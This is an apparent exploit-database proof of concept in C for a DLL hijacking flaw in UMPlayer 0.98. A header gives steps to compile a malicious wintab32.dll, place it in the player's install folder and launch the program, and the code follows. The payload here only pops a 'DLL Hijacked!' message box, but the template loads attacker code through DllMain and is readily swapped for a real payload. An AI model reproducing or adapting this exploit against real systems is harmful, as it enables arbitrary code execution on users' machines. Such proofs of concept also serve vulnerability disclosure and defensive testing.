/*
# Exploit Title: UMPlayer 0.98 DLL Hijacking Exploit (wintab32.dll)
# Date: 31/10/2012
# Author: Metropolis
# Url: http://metropolis.fr.cr
# Software info: UMPlayer is the media player that fills all your needs.
# With dozens of advanced features and built-in codecs it can handle any media format.
# Software Link: http://www.umplayer.com/download/
# Version: 0.98
# Tested on: Windows 7
# Instructions:
# 1. Compile dll
# gcc -shared -o wintab32.dll wintab32.c
# 2. Add wintab32.dll
# C:\Program Files (x86)\UMPlayer
# 3. Launch UMPlayer.exe
# 4. MessageBox DLL Hijacked!
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
